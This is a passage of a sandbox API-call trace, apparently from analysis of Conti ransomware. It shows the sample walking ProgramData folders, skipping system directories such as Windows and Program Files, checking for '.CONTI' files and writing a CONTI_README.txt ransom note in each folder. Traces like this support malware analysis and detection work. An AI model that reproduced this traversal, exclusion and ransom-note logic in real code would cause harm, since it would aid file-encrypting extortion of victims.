	[0105.481] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.481] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.481] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.481] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.481] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2=".") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="..") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="tmp") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="winnt") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Application Data") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="AppData") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="temp") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="thumb") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="$Recycle.Bin") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="$RECYCLE.BIN") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="System Volume Information") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Program Files") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Program Files (x86)") returned -1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Boot") returned 1
	[0105.481] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="Windows") returned -1
	[0105.481] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework") returned 37
	[0105.481] lstrlenW (lpString="BreadcrumbStore") returned 15
	[0105.481] GetProcessHeap () returned 0x1720000
	[0105.481] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740a78
	[0105.481] lstrcpyW (in: lpString1=0x1740a78, lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0105.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\"
	[0105.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0105.481] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned 53
	[0105.482] GetProcessHeap () returned 0x1720000
	[0105.482] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740a00
	[0105.482] lstrcpyW (in: lpString1=0x1740a00, lpString2="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0105.482] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*"
	[0105.702] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned 53
	[0105.702] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.702] GetProcessHeap () returned 0x1720000
	[0105.702] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8e) returned 0x181c028
	[0105.702] lstrcpyW (in: lpString1=0x181c028, lpString2="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0105.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\"
	[0105.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\CONTI_README.txt"
	[0105.704] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.707] GetProcessHeap () returned 0x1720000
	[0105.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c028 | out: hHeap=0x1720000) returned 1
	[0105.707] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.708] CloseHandle (hObject=0x38c) returned 1
	[0105.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0105.709] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.709] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0105.709] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.709] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.709] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52d93390, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52d93390, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.709] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.709] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.709] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.709] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.709] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52d93390, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52d93390, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.709] GetProcessHeap () returned 0x1720000
	[0105.709] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0105.709] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0105.709] GetProcessHeap () returned 0x1720000
	[0105.709] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a78 | out: hHeap=0x1720000) returned 1
	[0105.709] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.709] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.709] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.709] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.709] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.709] FindNextFileW (in: hFindFile=0x17c81b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.709] GetProcessHeap () returned 0x1720000
	[0105.709] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef18 | out: hHeap=0x1720000) returned 1
	[0105.709] FindClose (in: hFindFile=0x17c81b0 | out: hFindFile=0x17c81b0) returned 1
	[0105.710] GetProcessHeap () returned 0x1720000
	[0105.710] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bec58 | out: hHeap=0x1720000) returned 1
	[0105.710] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Network", cAlternateFileName="")) returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2=".") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="..") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="tmp") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="winnt") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="Application Data") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="AppData") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="temp") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="thumb") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="$Recycle.Bin") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="$RECYCLE.BIN") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="System Volume Information") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="Program Files") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="Program Files (x86)") returned -1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="Boot") returned 1
	[0105.710] lstrcmpiW (lpString1="Network", lpString2="Windows") returned -1
	[0105.710] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.710] lstrlenW (lpString="Network") returned 7
	[0105.710] GetProcessHeap () returned 0x1720000
	[0105.710] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d3c8
	[0105.710] lstrcpyW (in: lpString1=0x173d3c8, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.710] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.710] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0105.710] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32
	[0105.710] GetProcessHeap () returned 0x1720000
	[0105.710] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x46) returned 0x173d238
	[0105.710] lstrcpyW (in: lpString1=0x173d238, lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0105.710] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\*") returned="C:\\ProgramData\\Microsoft\\Network\\*"
	[0105.710] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32
	[0105.710] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.710] GetProcessHeap () returned 0x1720000
	[0105.710] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1740ea0
	[0105.710] lstrcpyW (in: lpString1=0x1740ea0, lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0105.711] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0105.711] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Network\\CONTI_README.txt"
	[0105.711] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\network\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.711] GetProcessHeap () returned 0x1720000
	[0105.711] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ea0 | out: hHeap=0x1720000) returned 1
	[0105.711] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.712] CloseHandle (hObject=0x30c) returned 1
	[0105.712] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8030
	[0105.712] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.712] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.712] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.712] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.712] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="tmp") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="winnt") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="Application Data") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="AppData") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="thumb") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="$Recycle.Bin") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="$RECYCLE.BIN") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="System Volume Information") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="Program Files") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="Program Files (x86)") returned -1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="Boot") returned 1
	[0105.712] lstrcmpiW (lpString1="Connections", lpString2="Windows") returned -1
	[0105.712] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32
	[0105.713] lstrlenW (lpString="Connections") returned 11
	[0105.713] GetProcessHeap () returned 0x1720000
	[0105.713] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0718
	[0105.713] lstrcpyW (in: lpString1=0x17c0718, lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0105.713] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\"
	[0105.713] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0105.713] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0105.713] GetProcessHeap () returned 0x1720000
	[0105.713] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0850
	[0105.713] lstrcpyW (in: lpString1=0x17c0850, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0105.713] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\*"
	[0105.713] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0105.713] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.713] GetProcessHeap () returned 0x1720000
	[0105.713] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176b8a8
	[0105.713] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0105.713] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
	[0105.713] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\CONTI_README.txt"
	[0105.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.713] GetProcessHeap () returned 0x1720000
	[0105.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0105.713] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.714] CloseHandle (hObject=0x38c) returned 1
	[0105.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c7ef0
	[0105.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.715] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x52d93390, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0105.715] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.715] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.715] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2=".") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="..") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="tmp") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="winnt") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="Application Data") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="AppData") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="temp") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="thumb") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="$Recycle.Bin") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="$RECYCLE.BIN") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="System Volume Information") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="Program Files") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="Program Files (x86)") returned -1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="Boot") returned 1
	[0105.715] lstrcmpiW (lpString1="Cm", lpString2="Windows") returned -1
	[0105.715] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0105.715] lstrlenW (lpString="Cm") returned 2
	[0105.715] GetProcessHeap () returned 0x1720000
	[0105.715] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c08b8
	[0105.715] lstrcpyW (in: lpString1=0x17c08b8, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0105.715] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Microsoft\\Network\\Connections\\"
